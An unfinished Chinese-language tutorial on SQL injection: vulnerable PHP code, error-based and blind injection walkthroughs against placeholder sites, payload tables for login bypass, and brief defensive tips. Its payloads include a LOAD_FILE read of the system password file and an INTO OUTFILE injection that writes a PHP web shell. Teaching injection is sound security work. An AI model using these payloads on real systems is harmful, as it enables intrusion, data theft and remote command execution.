sql注入攻防【未完结】
sql注入之前做的一些整理,和modsecurity一样,都是之前整理未完成的,因为已经熟悉了解就没有兴趣继续写下去了。权当备份。
理解SQL注入
漏洞占比
根据OWASP(Open Web Application Security Project)的分析,网络中10大应用系统安全弱点如下:
1. Injection flaws,注入,特别是SQL注入是核心中的核心。当然还有OS诸如,LDAP注入等。
2. Broken Authentication,失效的身份验证和会话管理。例如破解密码,劫持会话TOKEN等方式冒充用户身份。
3. Sensitive Data Exposure,敏感资料外泄。部分Web应用和API无法正确保护敏感数据。导致攻击者获取未加密的财务资料,用户个人资料等。
4. XML External Entities (XXE) 外部实体漏洞。部分早期的XML处理器存在对XML文件中的外部实体引用的错误处理。会在windows服务器上实现文件共享,内部端口扫描,远程代码执行等方式来实时DDOS攻击。
5. Broken Access Control 无效的存取访问权限。未对通过身份验证的用户实施恰当的访问控制,导致攻击者可以访问未授权的功能或数据,例如修改其他用户数据,查看敏感文件等。
6. Security Misconfiguration 安全配置错误。例如使用了不安全的默认配置,不正确的HTTP标头,包含了敏感信息的错误信息,不升级系统,框架,组件等。
7. Cross-Site Scripting(XSS) 跨站脚本。当用用程序网页中包含不受信任或错误转义的数据,就可能出现XSS缺陷。该缺陷会导致攻击者可以在受害者浏览器中执行脚本,以达到劫持用户对话,污染网站,重定义用户到恶意网站的效果。
8. Insecure Deserialization 反序列化漏洞。当收到恶意的反序列对象时,会出现不安全的反序列缺陷,导致恶意代码执行。
9. Using Components with Known Vulnerabilities 使用了含有已知漏洞的组件。组件运行权限一般和应用程序相同,如有已知含有漏洞的组件,也会导致服务器遭受攻击。
10. Insufficient Logging & Monitoring 记录和监控不足。
网络架构
三层架构:
前端呈现HTML <-- 逻辑层发送HTML到前端 <-- 数据库
四层架构
前端呈现HTML <-- 逻辑层发送HTML到前端(C#,ASP,.net,PHP,JSP等) <-- 应用层为web服务提供数据(Web服务) <-- 数据库
SQL注入
SQL注入是将SQL代码插入或添加到用户输入参数中,然后将该参数传递给后台的SQL服务器加以解析并执行的攻击。
一旦攻击成功,攻击者将拥有对数据库服务器访问的权限,通常权限很高。
其产生原因,就是Web应用开发人员无法确保从Web表单, cookie, 输入参数等收到的值进行验证,而直接传递给了SQL查询,就会出现SQL注入漏洞。
简单的例子
login.php
// 连接数据库
$connect = mysql_connect("localhost", "username", "password")
// 动态创建SQL语句
$query = "SELECT userid FROM Users WHERE user = '$_GET["user"]' " .
"AND password = '$_GET["password"]'";
// 查询数据库
$result = mysql_query($query);
我们期望用户输入账号 foo, 密码 testpassword,于是我们组装得到如下的SQL
SELECT userid FROM Users WHERE user = 'foo' AND password = 'testpassword'
但是用户恶意输入的密码是 ** idontknow’ OR ‘1’ = ‘1’ ** ,导致我们组装得到的SQL成为
SELECT userid FROM Users WHERE user = 'foo' AND password = 'idontknow' OR '1' = '1'
后果就是,将 Users 表内全部的userid返回了。
Burp suite本地代理
我们大部分时间,并不需要去管前端显示,直接模拟请求就好。
对于GET请求很容易处理,直接修改参数即可,如下即可
http://xxoo.com/search.aspx?user='foo'&password='idontknow" OR "1" = "1"'
但POST请求并不这么容易查看数据,此时可以使用浏览器的 web developer 扩展插件,或者直接设置本地代理。
这里推荐后者。
本地代理就是对浏览器进行设置,修改代理选项,指向本地的代理软件,例如 Burp suite,然后所有的网络请求将会通过 Burp suite 转发到目标服务器,在这个过程中,我们可以通过软件截获POST消息,进行字段修改后再进行发送。
常见SQL错误
我们尝试进行SQL注入时,Web服务器可以做出很多反映,例如参数检查处理,查询错误结果的二次处理等。
当然,对我们而言,最好的情况是应用返回了完整的SQL错误,不过这种情况比较少见,但我们需要了解。
转义字符处理不当
例如:
$SQL = "SELECT * FROM table WHERE field = '$_GET["input"]'";
如果我们传入特殊字符,则会导致SQL做出错误处理。
特殊字符,
- 空格
- 管道字符 |
- 单引号 ‘
- 双竖线 ||
- 逗号 ,
- 点号 .
- 注释符号 /* 或 */
- 双引号 “
- 且运算符 &
- 模糊查询符号 %
- 通配符 *
- 变量定义符 @
- 双横注释符号 –
- 井号注释符 #
- 括号 ( 或 )
- 中括号 [ 或 ]
- 大于号小于号 < >
- 16进制注入符 0x
其他敏感字符,例如
- 横线 -
- 问号 ?
- 斜杠 /
- 分号 ;
- 回车符 \r\n
- 金钱符 $
数据库关键词,例如,
- delete
- select
- update
- insert
- count
- drop
- truncate
- asc
- char
- chr
- and
- or
- net
- union
- having
- 存储过程命令关键字 Exec 或 Execute
- 系统存储过程关键字 xp_ 或 sp_
语言关键词,例如
- mid
- ascii
- left
- greatest
- least
- substr
- sleep
- benchmark
- regexp
- if
类型检查不当
例如:我们本能以为userid是一个数字
$SQL = "SELECT * FROM table WHERE field = $_GET["userid"]";
此时,userid如果传入
1 UNION ALL SELECT LOAD_FILE('etc/password') --
那么攻击者就可以获得系统用户的属性和用户名
如果userid传入
1 UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/xxoo.com/shell.php" -
这样就可以创建一个shell脚本,通常该脚本会有远程交互访问能力。
查询语句组装不当
例如,我们组建这样一个语句
$SQL = "SELECT" . $_GET["column1"] . "," . $_GET["column2"] . "," . $_GET["column3"] . "FROM" . $_GET["table"];
那么用户穿参可能是
http://xxoo.com/ooxx.php?table=users&column1=user&column2=password&column3=Super_priv
这样,攻击者将获得账号密码数据。
错误处理不当
我们很多时候会将详细的内部错误返回给用户,例如数据库错误,错误代码等。这些错误细节将泄漏内部实现线索。
例如攻击者传入类似的参数
XXOO' and 1 in (SELECT @@version) -
将可能得到如下信息
[Microsoft] [ODBC SQL server driver] [SQL Server] Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Inter X86) Nov 19 2001 13:23:50 Copyright(c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0(Build 2195: Server pack 3)' to a column of data type int.
上面其实就是数据库报错,无法把字符串转成整形。
其中已经暴露了服务器和数据库版本信息。
默认数据库账户
例如SQLServer的 sa 系统管理员账户。MySQL的 root 和 anonymous 用户账户,Oracle创建数据库时默认创建的 SYS, SYSTEM, DBSNMP 和 OUTLN 账户。
账户权限权限问题
例如账号是否支持 xp_cmdshell, OPENROWSET, LOAD_FILE, ActiveX等。
数据库元数据
例如MySQL中的 INFORMATION_SCHEMA 虚拟数据库,必定存在且允许全部MySQL用户访问,可以查看表名行信息等。
SQL Server和MySQL类似。
Oracle则是有 ALL_TABLES, ALL_TAB_COLUMNS 等元数据。
例如,我们想知道某用户当前可以访问的权限
-- Oracle,列举当前用户,可访问的全部表
SELECT OWNER, TABLE_NAME FROM ALL_TABLES;
-- MySQL,列举当前用户可访问的所有表和数据库 (三种方式)
SELECT tabel_schema, table_name FROM information_schema.tables;
SELECT name FROM sysobjects WHERE xtype='U';
SELECT name FROM sys.tables;
错误信息利用过程
例1:
我们监视到一个请求 [该请求用来查看球类物品的商品列表]
http://xxoo.com/showproducts.aspx?category=ball
我们修改请求:
http://xxoo.com/showproducts.aspx?category=attacker'
返回错误为:
Server Error in '/' application.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string 'attacker;'.
我们可以猜测SQL代码为
SELECT * FROM tableXX WHERE category='attacker''
后面多了个单引号,导致DB拒绝语句并返回错误。
这就证明了,Web后端服务器没有对参数中的 ‘ 单引号做额外消除处理。
例2:
我们监视到一个请求 [该请求用来查看一个id名叫2的物品的商品]
http://xxoo.com/showproduct.aspx?id=2
我们修改请求:
http://xxoo.com/showproduct.aspx?id=attacker
返回错误为:
Server Error in '/' application.
Exception Details: System.Data.SqlClient.SqlException: Invalid column name 'acttacker'.
我们可以猜测SQL代码为
SELECT * FROM tableXX WHERE idproduct=attacker
参数 attacker 和 2 必然是一个列名。
例3,利用错误获取数据库信息
http://xxoo.com/showproduct.aspx?category=ball' and 1=0/@@version; --
返回错误为:
Server Error in '/' application.
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Inter X86) Nov 19 2001 13:23:50 Copyright(c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0(Build 2195: Server pack 3)' to a column of data type int.
它将@@version的结果,尝试转换为int,失败,于是做出提示。其中 0/@@version 做为注入代码。
例4,利用错误获取内容信息
http://xxoo.com/showproduct.aspx?category=ball' and 1=0/user; --
返回错误为:
Syntax error converting the nvarchar value 'frank' to a column of data type int.
利用的方式和上面一样,但顺利的返回了user的变量为 frank
例5,利用错误信息获取表名字段名
http://xxoo.com/showproduct.aspx?category=ball' having 1'='1;
返回错误为:
Server Error in '/' application.
Column 'products.productid' is invalid in the select list because it is not contained in an aggregate function and this is no GROUP BY clause.
于是,攻击者拿到了 products.productid 表名和字段名。
例6,我们进一步
http://xxoo.com/showproduct.aspx?category=ball' GROUP BY productid having '1'='1'
返回错误为:
Server Error in '/' application.
Column 'products.name' is invalid in the select list because it is not contained in either an aggregate function and this is no GROUP BY clause.
这样,我们用之前得到的 productid 列,就可以得到 name 列,再进一步
http://xxoo.com/showproduct.aspx?category=ball' GROUP BY productid, name having '1'='1'
返回错误为:
Server Error in '/' application.
Column 'products.price' is invalid in the select list because it is not contained in either an aggregate function and this is no GROUP BY clause.
我们又得到了 price 字段。这样一步步可以得到products表的全部列。再用例4样例
http://xxoo.com/showproduct.aspx?category=ball' and 1=0/name; --
返回错误为:
Syntax error converting the nvarchar value 'XX basketball' to a column of data type int.
获取列值。
当然,这样也可能可以获得用户名和密码。
而且进一步,还可以对得到的数据做排除。
例7:
http://xxoo.com/showproduct.aspx?username=frank' and User not in ('Admin') and 1 = 0/User and 1'='1
这样就排除了已经获取的列数据值,得到其他的新的列数据。
SQL注入观察
如果再不做额外处理时,尝试SQL注入后,如果返回HTTP 500 或者 HTTP 302响应,虽然得不到具体信息,但依然可以确定我们的SQL注入获得了接收。
此时任何一个SQL注入后,有任何的界面元素的更变,即使没有任何有用的信息,都值得我们进一步尝试。
此时我们就依赖于SQL盲注。
SQL盲注简介
例1: 我们给一个登录Form填写账号和密码均为
user' or '1'='1
结果得到错误信息 Invalid password(密码错误)
填写账号和密码均为
user' and '1'='2
得到错误信息 Invalid username or password(账号或密码错误)
我们可以确定username字段易受到SQL注入攻击,但password则不会受到SQL注入攻击。
例2: 我们假设有个网站正常请求如下
http://xxoo.com/showproduct.php?id=1 http://xxoo.com/showproduct.php?id=2
上述请求将显示商品的详细信息。我们进行测试
http://xxoo.com/showproduct.php?id=attack http://xxoo.com/showproduct.php?id=-1 http://xxoo.com/showproduct.php?id=99999999999 http://xxoo.com/showproduct.php?id=attack'
结果都返回第一件商品信息或者某个错误页面或者302,那么说明后台做了一些安全监测。
我们继续
http://xxoo.com/showproduct.php?id=5-1 http://xxoo.com/showproduct.php?id=1+3
结果真的得到了id=4的商品信息。那么我们做URL编码测试
http://xxoo.com/showproduct.php?id=1%2B3 http://xxoo.com/showproduct.php?id=2%2B2
%2B在URL编码中为 加号,是URL的保留字。我们看看情况,再测试
http://xxoo.com/showproduct.php?id=1 or 1=1 http://xxoo.com/showproduct.php?id=1 or 1=2 http://xxoo.com/showproduct.php?id=1 and 1=1 http://xxoo.com/showproduct.php?id=1 and 1=2
这些行为就是SQL盲注,去判断不同的请求,是否能对后端响应造成任何干扰响应。
当然,这些行为数量很大,都是自动化进行,无需人工手动执行。
SQL注入类型
内联SQL注入
即,将一些额外代码添加到原本的查询语句中,原语句依然可以正常执行。
字符串内联注入
假设语句为
SELECT * FROM users WHERE username = '[USER INPUT]' AND password = '[USER INPUT]'
注入语句
SELECT * FROM users WHERE username = '' OR (1=1) OR '1'='1' AND password = ''
因为在SQL中,逻辑运算符AND比OR高,所以上述语句等同于
SELECT * FROM users WHERE (username = '') OR (1=1) OR ('1'='1' AND password = '')
WHERE后条件为全真,即可得到user全表数据
字符内联注入常用特征值
字符串 变种 期望结果
' 返回一个错误
1' or '1'='1 1') or ('1'='1 永真条件。返回表内所有行。
value' or '1'='2 value') or ('1'='2 空条件。返回正常结果。
1' and '1'='2 1') and ('1'='2 永假条件。不返回任何数据。
1' or 'ab'='a'+'b 1') or ('ab'='a'+'b SQLServer字符串连接
1' or 'ab'='a' 'b 1') or ('ab'='a' 'b MySQL字符串连接
1' or 'ab'='a'||'b 1') or ('ab'='a'||'b Oracle字符串连接
数字值内联注入
假设语句为
SELECT * FROM message WHERE id = [USER INPUT] ORDED BY received;
注入后语句为
SELECT * FROM message WHERE id = 45 OR 1=1 ORDED BY received;
即可得到全部数据
数字内联注入常用特征值
字符串 变种 期望结果
' 返回一个错误
1+1 3-1 返回正常数据。
value + 0 返回正常数据。
1 or 1=1 1> or (1=1 永真条件。返回表内全部行
value or 1=2 value) or (1=2 空条件。返回正常结果。
1 and 1=2 1) and (1=2 永假条件。不返回任何数据。
1 or 'ab'='a'+'b' 1) or ('ab'='a'+'b' SQLServer字符串连接
1 or 'ab'='a' 'b' 1) or ('ab'='a' 'b' MySQL字符串连接
1 or 'ab'='a'||'b' 1) or ('ab'='a'||'b' Oracle字符串连接
终止SQL注入
数据库注释语法
数据库类型 注释
SQLServer/Oracle/PostgreSQL -- 或 /**/
MySQL -- 或 # 或 /**/
例1:
假设语句为
SELECT * FROM users WHERE username = '[USER INPUT]' AND password = '[USER INPUT]'
注入语句
SELECT * FROM users WHERE username = '' OR 1=1;-- AND password = '';
其中1=1为永真,而password检查被直接注释掉了,所以返回users内全部行。
例2:
假设语句为
SELECT * FROM users WHERE username = '[USER INPUT]' AND password = '[USER INPUT]'
注入语句
SELECT * FROM users WHERE username = 'admin'/*' AND password = ' */'';
这样将直接跳过密码检查
注释语法注入常用特征值
字符串 变种 期望结果
admin'-- admin')-- 绕开身份验证机制
admin'# admin')# MySQL中绕开身份验证机制
1-- 1)-- 清除注入参数后的全部WHERE过滤器
1 or 1=1-- 1) or 1=1-- 注入一个数字参数,返回全部行数据
' or '1'='1'-- ') or '1'='1'-- 注入一个字符串参数,返回全部行数据
1/*注释*/ 返回正常数据,用来识别SQL注入漏洞
建议
使用白名单
尽量使用允许输入的字符列表的白名单,而非使用字符过滤的黑名单。
因为现实中存在非常多的攻击类型,它们能以多种形式呈现,想要维护这样一个禁止列表是非常繁重的任务。
隐藏错误信息
尽可能隐藏SQL错误,不要使用户可见。
- 避免字符串提示
- 错误时可以跳转到另一页面
- 错误时返回HTTP 500内部服务器错误,或者重定向302
- 返回一个通用的错误页面